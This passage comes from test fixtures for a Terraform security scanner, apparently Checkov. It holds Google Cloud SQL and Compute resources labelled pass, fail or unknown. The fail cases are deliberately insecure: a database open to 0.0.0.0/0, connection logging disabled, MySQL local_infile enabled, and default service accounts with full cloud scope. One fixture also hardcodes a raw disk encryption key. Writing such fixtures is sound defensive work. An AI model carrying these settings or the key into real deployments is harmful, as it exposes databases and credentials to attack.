\"log_connections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"10\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"10\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown\" {\n  name             = \"db\"\n  database_version = \"MYSQL_5_6\"\n  region           = \"us-central1\"\n  settings {\n    database_flags {\n      name  = \"local_infile\"\n      value = \"on\"\n    }\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown_var\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags = [\"${var.test_var}\"]\n    pricing_plan = \"PER_USE\"\n    tier = \"db-custom-1-3840\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleCloudPostgreSqlLogConnection/main.tf",
    "content": "\nresource \"google_sql_database_instance\" \"fail\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"on\"\n    }\n\n    database_flags {\n      name  = \"log_connections\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"10\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\n\nresource \"google_sql_database_instance\" \"fail2\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"10\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_connections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"10\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown\" {\n  name             = \"db\"\n  database_version = \"MYSQL_5_6\"\n  region           = \"us-central1\"\n  settings {\n    database_flags {\n      name  = \"local_infile\"\n      value = \"on\"\n    }\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown_var\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags = [\"${var.test_var}\"]\n    tier = \"db-custom-1-3840\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleCloudPostgreSqlLogHostname/main.tf",
    "content": "resource \"google_sql_database_instance\" \"fail\" {\n  database_version = \"POSTGRES_15\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_hostname\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"fail2\" {\n  database_version = \"POSTGRES_15\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass\" {\n  database_version = \"POSTGRES_15\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_hostname\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown\" {\n  name             = \"db\"\n  database_version = \"MYSQL_5_6\"\n  region           = \"us-central1\"\n  settings {\n    database_flags {\n      name  = \"local_infile\"\n      value = \"on\"\n    }\n    tier = \"db-custom-1-3840\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleCloudPostgreSqlLogMinErrorStatement/main.tf",
    "content": "resource \"google_sql_database_instance\" \"fail\" {\n  database_version = \"POSTGRES_15\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_min_error_statement\"\n      value = \"log\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"on\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"fail2\" {\n  database_version = \"POSTGRES_15\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_min_error_statement\"\n      value = \"fatal\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"on\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"fail3\" {\n  database_version = \"POSTGRES_15\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_min_error_statement\"\n      value = \"panic\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"on\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass\" {\n  database_version = \"POSTGRES_15\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_min_error_statement\"\n      value = \"info\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"on\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown\" {\n  name             = \"db\"\n  database_version = \"MYSQL_5_6\"\n  region           = \"us-central1\"\n  settings {\n    database_flags {\n      name  = \"local_infile\"\n      value = \"on\"\n    }\n    tier = \"db-custom-1-3840\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleCloudSqlDatabasePubliclyAccessible/main.tf",
    "content": "resource \"google_sql_database_instance\" \"instance1-fail\" {\n  database_version = \"MYSQL_8_0\"\n  name             = \"instance\"\n  region           = \"us-central1\"\n  settings {\n    tier = \"db-f1-micro\"\n    ip_configuration {\n      ipv4_enabled = true\n      authorized_networks {\n        name  = \"XYZ\"\n        value = \"1.2.3.4\"\n      }\n      authorized_networks {\n        name  = \"Public\"\n        value = \"0.0.0.0/0\"\n      }\n      authorized_networks {\n        name  = \"ABC\"\n        value = \"5.5.5.0/24\"\n      }\n    }\n  }\n}\n\nresource \"google_sql_database_instance\" \"instance2-pass\" {\n  database_version = \"MYSQL_8_0\"\n  name             = \"instance\"\n  region           = \"us-central1\"\n  settings {\n    tier = \"db-f1-micro\"\n    ip_configuration {\n      ipv4_enabled = true\n      authorized_networks {\n        name  = \"XYZ\"\n        value = \"1.2.3.4\"\n      }\n      authorized_networks {\n        name  = \"ABC\"\n        value = \"5.5.5.0/24\"\n      }\n    }\n  }\n}\n\n# this isn't actually valid without the settings block, but testing parsing\nresource \"google_sql_database_instance\" \"instance3-pass\" {\n  database_version = \"MYSQL_8_0\"\n  name             = \"instance\"\n  region           = \"us-central1\"\n}\n\nresource \"google_sql_database_instance\" \"instance4-fail\" {\n  name             = \"instance\"\n  database_version = \"POSTGRES_11\"\n\n  settings {\n    tier = \"db-f1-micro\"\n\n    ip_configuration {\n\n      dynamic \"authorized_networks\" {\n        for_each = local.onprem\n        iterator = onprem\n\n        content {\n          name  = \"onprem-${onprem.key}\"\n          value = \"0.0.0.0/0\"\n        }\n      }\n\n      dynamic \"authorized_networks\" {\n        for_each = google_compute_instance.apps\n        iterator = apps\n\n        content {\n          name  = apps.value.name\n          value = apps.value.network_interface.0.access_config.0.nat_ip\n        }\n      }\n    }\n  }\n}\n\nresource \"google_sql_database_instance\" \"instance5-pass\" {\n  name             = \"instance\"\n  database_version = \"POSTGRES_11\"\n  settings {\n    tier = \"db-f1-micro\"\n\n    ip_configuration {\n\n      dynamic \"authorized_networks\" {\n        for_each = google_compute_instance.apps\n        iterator = apps\n\n        content {\n          name  = apps.value.name\n          value = apps.value.network_interface.0.access_config.0.nat_ip\n        }\n      }\n\n      dynamic \"authorized_networks\" {\n        for_each = local.onprem\n        iterator = onprem\n\n        content {\n          name  = \"onprem-${onprem.key}\"\n          value = onprem.value\n        }\n      }\n    }\n  }\n}\n\nresource \"google_sql_database_instance\" \"instance6-pass\" {\n  provider = google-beta\n\n  name   = \"private-instance-${random_id.db_name_suffix.hex}\"\n  region = \"us-central1\"\n\n  depends_on = [google_service_networking_connection.private_vpc_connection]\n\n  settings {\n    tier = \"db-f1-micro\"\n    ip_configuration {\n      ipv4_enabled    = false\n      private_network = google_compute_network.private_network.id\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleComputeBootDiskEncryption/bad.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.4.6\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"google_compute_instance.bad3\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_instance\",\n          \"name\": \"bad3\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n          \"schema_version\": 6,\n          \"values\": {\n            \"advanced_machine_features\": [],\n            \"allow_stopping_for_update\": true,\n            \"attached_disk\": [],\n            \"boot_disk\": [\n              {\n                \"auto_delete\": true,\n                \"disk_encryption_key_raw\": null,\n                \"initialize_params\": [\n                  {\n                    \"image\": \"debian-cloud/debian-11\",\n                    \"size\": 30,\n                    \"type\": \"pd-ssd\"\n                  }\n                ],\n                \"mode\": \"READ_WRITE\"\n              }\n            ],\n            \"can_ip_forward\": false,\n            \"deletion_protection\": false,\n            \"description\": null,\n            \"desired_status\": null,\n            \"enable_display\": null,\n            \"hostname\": null,\n            \"labels\": null,\n            \"machine_type\": \"e2-small\",\n            \"metadata\": {\n              \"enable-oslogin\": \"false\"\n            },\n            \"metadata_startup_script\": null,\n            \"name\": \"third-instance\",\n            \"network_interface\": [\n              {\n                \"access_config\": [],\n                \"alias_ip_range\": [],\n                \"ipv6_access_config\": [],\n                \"nic_type\": null,\n                \"queue_count\": null,\n                \"subnetwork\": \"default\"\n              }\n            ],\n            \"network_performance_config\": [],\n            \"project\": \"blah\",\n            \"resource_policies\": null,\n            \"scratch_disk\": [],\n            \"service_account\": [\n              {\n                \"email\": \"example@developer.gserviceaccount.com\",\n                \"scopes\": [\n                  \"https://www.googleapis.com/auth/cloud-platform\"\n                ]\n              }\n            ],\n            \"shielded_instance_config\": [],\n            \"tags\": null,\n            \"timeouts\": null,\n            \"zone\": \"blah\"\n          },\n          \"sensitive_values\": {\n            \"advanced_machine_features\": [],\n            \"attached_disk\": [],\n            \"boot_disk\": [\n              {\n                \"initialize_params\": [\n                  {\n                    \"labels\": {}\n                  }\n                ]\n              }\n            ],\n            \"confidential_instance_config\": [],\n            \"guest_accelerator\": [],\n            \"metadata\": {},\n            \"network_interface\": [\n              {\n                \"access_config\": [],\n                \"alias_ip_range\": [],\n                \"ipv6_access_config\": []\n              }\n            ],\n            \"network_performance_config\": [],\n            \"reservation_affinity\": [],\n            \"scheduling\": [],\n            \"scratch_disk\": [],\n            \"service_account\": [\n              {\n                \"scopes\": [\n                  false\n                ]\n              }\n            ],\n            \"shielded_instance_config\": []\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"google_compute_instance.bad3\",\n      \"mode\": \"managed\",\n      \"type\": \"google_compute_instance\",\n      \"name\": \"bad3\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"advanced_machine_features\": [],\n          \"allow_stopping_for_update\": true,\n          \"attached_disk\": [],\n          \"boot_disk\": [\n            {\n              \"auto_delete\": true,\n              \"disk_encryption_key_raw\": null,\n              \"initialize_params\": [\n                {\n                  \"image\": \"debian-cloud/debian-11\",\n                  \"size\": 30,\n                  \"type\": \"pd-ssd\"\n                }\n              ],\n              \"mode\": \"READ_WRITE\"\n            }\n          ],\n          \"can_ip_forward\": false,\n          \"deletion_protection\": false,\n          \"description\": null,\n          \"desired_status\": null,\n          \"enable_display\": null,\n          \"hostname\": null,\n          \"labels\": null,\n          \"machine_type\": \"e2-small\",\n          \"metadata\": {\n            \"enable-oslogin\": \"false\"\n          },\n          \"metadata_startup_script\": null,\n          \"name\": \"third-instance\",\n          \"network_interface\": [\n            {\n              \"access_config\": [],\n              \"alias_ip_range\": [],\n              \"ipv6_access_config\": [],\n              \"nic_type\": null,\n              \"queue_count\": null,\n              \"subnetwork\": \"default\"\n            }\n          ],\n          \"network_performance_config\": [],\n          \"project\": \"blah\",\n          \"resource_policies\": null,\n          \"scratch_disk\": [],\n          \"service_account\": [\n            {\n              \"email\": \"example@developer.gserviceaccount.com\",\n              \"scopes\": [\n                \"https://www.googleapis.com/auth/cloud-platform\"\n              ]\n            }\n          ],\n          \"shielded_instance_config\": [],\n          \"tags\": null,\n          \"timeouts\": null,\n          \"zone\": \"blah\"\n        },\n        \"after_unknown\": {\n          \"advanced_machine_features\": [],\n          \"attached_disk\": [],\n          \"boot_disk\": [\n            {\n              \"device_name\": true,\n              \"disk_encryption_key_sha256\": true,\n              \"initialize_params\": [\n                {\n                  \"labels\": true\n                }\n              ],\n              \"kms_key_self_link\": true,\n              \"source\": true\n            }\n          ],\n          \"confidential_instance_config\": true,\n          \"cpu_platform\": true,\n          \"current_status\": true,\n          \"guest_accelerator\": true,\n          \"id\": true,\n          \"instance_id\": true,\n          \"label_fingerprint\": true,\n          \"metadata\": {},\n          \"metadata_fingerprint\": true,\n          \"min_cpu_platform\": true,\n          \"network_interface\": [\n            {\n              \"access_config\": [],\n              \"alias_ip_range\": [],\n              \"ipv6_access_config\": [],\n              \"ipv6_access_type\": true,\n              \"name\": true,\n              \"network\": true,\n              \"network_ip\": true,\n              \"stack_type\": true,\n              \"subnetwork_project\": true\n            }\n          ],\n          \"network_performance_config\": [],\n          \"reservation_affinity\": true,\n          \"scheduling\": true,\n          \"scratch_disk\": [],\n          \"self_link\": true,\n          \"service_account\": [\n            {\n              \"scopes\": [\n                false\n              ]\n            }\n          ],\n          \"shielded_instance_config\": [],\n          \"tags_fingerprint\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"advanced_machine_features\": [],\n          \"attached_disk\": [],\n          \"boot_disk\": [\n            {\n              \"disk_encryption_key_raw\": true,\n              \"initialize_params\": [\n                {\n                  \"labels\": {}\n                }\n              ]\n            }\n          ],\n          \"confidential_instance_config\": [],\n          \"guest_accelerator\": [],\n          \"metadata\": {},\n          \"network_interface\": [\n            {\n              \"access_config\": [],\n              \"alias_ip_range\": [],\n              \"ipv6_access_config\": []\n            }\n          ],\n          \"network_performance_config\": [],\n          \"reservation_affinity\": [],\n          \"scheduling\": [],\n          \"scratch_disk\": [],\n          \"service_account\": [\n            {\n              \"scopes\": [\n                false\n              ]\n            }\n          ],\n          \"shielded_instance_config\": []\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"google\": {\n        \"name\": \"google\",\n        \"full_name\": \"registry.terraform.io/hashicorp/google\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"google_compute_instance.bad3\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_instance\",\n          \"name\": \"bad3\",\n          \"provider_config_key\": \"google\",\n          \"expressions\": {\n            \"allow_stopping_for_update\": {\n              \"constant_value\": true\n            },\n            \"boot_disk\": [\n              {\n                \"initialize_params\": [\n                  {\n                    \"image\": {\n                      \"constant_value\": \"debian-cloud/debian-11\"\n                    },\n                    \"size\": {\n                      \"constant_value\": 30\n                    },\n                    \"type\": {\n                      \"constant_value\": \"pd-ssd\"\n                    }\n                  }\n                ]\n              }\n            ],\n            \"can_ip_forward\": {\n              \"constant_value\": false\n            },\n            \"machine_type\": {\n              \"constant_value\": \"e2-small\"\n            },\n            \"metadata\": {\n              \"constant_value\": {\n                \"enable-oslogin\": false\n              }\n            },\n            \"name\": {\n              \"constant_value\": \"third-instance\"\n            },\n            \"network_interface\": [\n              {\n                \"subnetwork\": {\n                  \"constant_value\": \"default\"\n                }\n              }\n            ],\n            \"project\": {\n              \"references\": [\n                \"local.project_id\"\n              ]\n            },\n            \"service_account\": [\n              {\n                \"email\": {\n                  \"constant_value\": \"example@developer.gserviceaccount.com\"\n                },\n                \"scopes\": {\n                  \"constant_value\": [\n                    \"cloud-platform\"\n                  ]\n                }\n              }\n            ],\n            \"zone\": {\n              \"references\": [\n                \"local.zone\"\n              ]\n            }\n          },\n          \"schema_version\": 6\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleComputeBootDiskEncryption/example1.tf",
    "content": "resource \"google_compute_instance\" \"bad\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n  boot_disk {}\n}\n\nresource \"google_compute_instance\" \"good\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n  boot_disk {\n    disk_encryption_key_raw = \"acXTX3rxrKAFTF0tYVLvydU1riRZTvUNC4g5I11NY-c=\"  # checkov:skip=CKV_SECRET_6 test secret\n  }\n}\n\nresource \"google_service_account\" \"default\" {\n  account_id   = \"service_account_id\"\n  display_name = \"Service Account\"\n}\n\nresource \"google_compute_instance\" \"bad2\" {\n  name         = \"test\"\n  machine_type = \"e2-medium\"\n  zone         = \"us-central1-a\"\n\n  tags = [\"foo\", \"bar\"]\n\n  boot_disk {\n    initialize_params {\n      image = \"debian-cloud/debian-11\"\n      labels = {\n        my_label = \"value\"\n      }\n    }\n  }\n\n  // Local SSD disk\n  scratch_disk {\n    interface = \"SCSI\"\n  }\n\n  network_interface {\n    network = \"default\"\n\n    access_config {\n      // Ephemeral public IP\n    }\n  }\n\n  metadata = {\n    foo = \"bar\"\n  }\n\n  metadata_startup_script = \"echo hi > /test.txt\"\n\n  service_account {\n    # Google recommends custom service accounts that have cloud-platform scope and permissions granted via IAM Roles.\n    email  = google_service_account.default.email\n    scopes = [\"cloud-platform\"]\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleComputeDefaultServiceAccount/main.tf",
    "content": "#resource \"google_compute_instance\" \"fail1\" {\n#  name         = \"test\"\n#  machine_type = \"n1-standard-1\"\n#  zone         = \"us-central1-a\"\n#}\n\nresource \"google_compute_instance\" \"fail2\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n  service_account {\n    scopes = [\"userinfo-email\", \"compute-ro\", \"storage-ro\"]\n    email  =  \"123456789-compute@developer.gserviceaccount.com\"\n  }\n}\n\nresource \"google_compute_instance_from_template\" \"fail3\" {\n  name                     = \"instance_from_template\"\n  source_instance_template = google_compute_instance_template.default.id\n  service_account {\n    scopes = [\"userinfo-email\", \"compute-ro\", \"storage-ro\"]\n    email  =  \"123456789-compute@developer.gserviceaccount.com\"\n  }\n}\n\nresource \"google_compute_instance_from_template\" \"unknown1\" {\n  name                     = \"instance_from_template\"\n  source_instance_template = google_compute_instance_template.default.id\n}\n\nresource \"google_compute_instance\" \"pass1\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n  service_account {\n    scopes = [\"userinfo-email\", \"compute-ro\", \"storage-ro\"]\n    email  = \"example@email.com\"\n  }\n}\n\nresource \"google_compute_instance\" \"pass2\" {\n  name         = \"gke-account\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n  service_account {\n    scopes = [\"userinfo-email\", \"compute-ro\", \"storage-ro\"]\n    email  =  \"123456789-compute@developer.gserviceaccount.com\"\n  }\n}\n\nresource \"google_compute_instance_template\" \"pass3\" {\n  name         = \"account\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n  service_account {\n    scopes = [\"userinfo-email\", \"compute-ro\", \"storage-ro\"]\n    email  = \"example@email.com\"\n  }\n}\n\nresource \"google_compute_instance_from_template\" \"pass4\" {\n  name                     = \"instance_from_template\"\n  source_instance_template = google_compute_instance_template.default.id\n  service_account {\n    scopes = [\"userinfo-email\", \"compute-ro\", \"storage-ro\"]\n    email  = \"example@email.com\"\n  }\n}\n\nresource \"google_compute_instance\" \"unknown2\" {\n  name         = \"my-instance\"\n  machine_type = \"n2-standard-2\"\n  zone         = \"us-central1-a\"\n\n  tags = [\"foo\", \"bar\"]\n\n  boot_disk {\n    initialize_params {\n      image = \"debian-cloud/debian-11\"\n      labels = {\n        my_label = \"value\"\n      }\n    }\n  }\n\n  // Local SSD disk\n  scratch_disk {\n    interface = \"NVME\"\n  }\n\n  network_interface {\n    network = \"vpc-test\"\n    subnetwork = \"private-subnet-01-test\"\n  }\n\n  metadata = {\n    foo = \"bar\"\n  }\n\n\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_GoogleComputeDefaultServiceAccountFullAccess/bad.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.4.6\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"google_compute_instance.bad3\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_instance\",\n          \"name\": \"bad3\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n          \"schema_version\": 6,\n          \"values\": {\n            \"advanced_machine_features\": [],\n            \"allow_stopping_for_update\": true,\n            \"attached_disk\": [],\n            \"boot_disk\": [\n              {\n                \"auto_delete\": true,\n                \"disk_encryption_key_raw\": null,\n                \"initialize_params\": [\n                  {\n                    \"image\": \"debian-cloud/debian-11\",\n                    \"size\": 30,\n                    \"type\": \"pd-ssd\"\n                  }\n                ],\n                \"mode\": \"READ_WRITE\"\n              }\n            ],\n            \"can_ip_forward\": false,\n            \"deletion_protection\": false,\n            \"description\": null,\n            \"desired_status\": null,\n            \"enable_display\": null,\n            \"hostname\": null,\n            \"labels\": null,\n            \"machine_type\": \"e2-small\",\n            \"metadata\": {\n              \"enable-oslogin\": \"false\"\n            },\n            \"metadata_startup_script\": null,\n            \"name\": \"third-instance\",\n            \"network_interface\": [\n              {\n                \"access_config\": [],\n                \"alias_ip_range\": [],\n                \"ipv6_access_config\": [],\n                \"nic_type\": null,\n                \"queue_count\": null,\n                \"subnetwork\": \"default\"\n              }\n            ],\n            \"network_performance_config\": [],\n            \"project\": \"blah\",\n            \"resource_policies\": null,\n            \"scratch_disk\": [],\n            \"service_account\": [\n              {\n                \"email\": \"12345-compute@developer.gserviceaccount.com\",\n                \"scopes\": [\n                  \"https://www.googleapis.com/auth/cloud-platform\"\n                ]\n              }\n            ],\n            \"shielded_instance_config\": [],\n            \"tags\": null,\n            \"timeouts\": null,\n            \"zone\": \"blah\"\n          },\n          \"sensitive_values\": {\n            \"advanced_machine_features\": [],\n            \"attached_disk\": [],\n            \"boot_disk\": [\n              {\n                \"initialize_params\": [\n                  {\n                    \"labels\": {}\n                  }\n                ]\n              }\n            ],\n            \"confidential_instance_config\": [],\n            \"guest_accelerator\": [],\n            \"metadata\": {},\n            \"network_interface\": [\n              {\n                \"access_config\": [],\n                \"alias_ip_range\": [],\n                \"ipv6_access_config\": []\n              }\n            ],\n            \"network_performance_config\": [],\n            \"reservation_affinity\": [],\n            \"scheduling\": [],\n            \"scratch_disk\": [],\n            \"service_account\": [\n              {\n                \"scopes\": [\n                  false\n                ]\n              }\n            ],\n            \"shielded_instance_config\": []\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"google_compute_instance.bad3\",\n      \"mode\": \"managed\",\n      \"type\": \"google_compute_instance\",\n      \"name\": \"bad3\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"advanced_machine_features\": [],\n          \"allow_stopping_for_update\": true,\n          \"attached_disk\": [],\n          \"boot_disk\": [\n            {\n              \"auto_delete\": true,\n              \"disk_encryption_key_raw\": null,\n              \"initialize_params\": [\n                {\n                  \"image\": \"debian-cloud/debian-11\",\n                  \"size\": 30,\n                  \"type\": \"pd-ssd\"\n                }\n              ],\n              \"mode\": \"READ_WRITE\"\n            }\n          ],\n          \"can_ip_forward\": false,\n          \"deletion_protection\": false,\n          \"description\": null,\n          \"desired_status\": null,\n          \"enable_display\": null,\n          \"hostname\": null,\n          \"labels\": null,\n          \"machine_type\": \"e2-small\",\n          \"metadata\": {\n            \"enable-oslogin\": \"false\"\n          },\n          \"metadata_startup_script\": null,\n          \"name\": \"third-instance\",\n          \"network_interface\": [\n            {\n              \"access_config\": [],\n              \"alias_ip_range\": [],\n              \"ipv6_access_config\": [],\n              \"nic_type\": null,\n              \"queue_count\": null,\n              \"subnetwork\": \"default\"\n            }\n          ],\n          \"network_performance_config\": [],\n          \"project\": \"blah\",\n          \"resource_policies\": null,\n          \"scratch_disk\": [],\n          \"service_account\": [\n            {\n              \"email\": \"12345-compute@developer.gserviceaccount.com\",\n              \"scopes\": [\n                \"https://www.googleapis.com/auth/cloud-platform\"\n              ]\n            }\n          ],\n          \"shielded_instance_config\": [],\n          \"tags\": null,\n          \"timeouts\": null,\n          \"zone\": \"blah\"\n        },\n        \"after_unknown\": {\n          \"advanced_machine_features\": [],\n          \"attached_disk\": [],\n          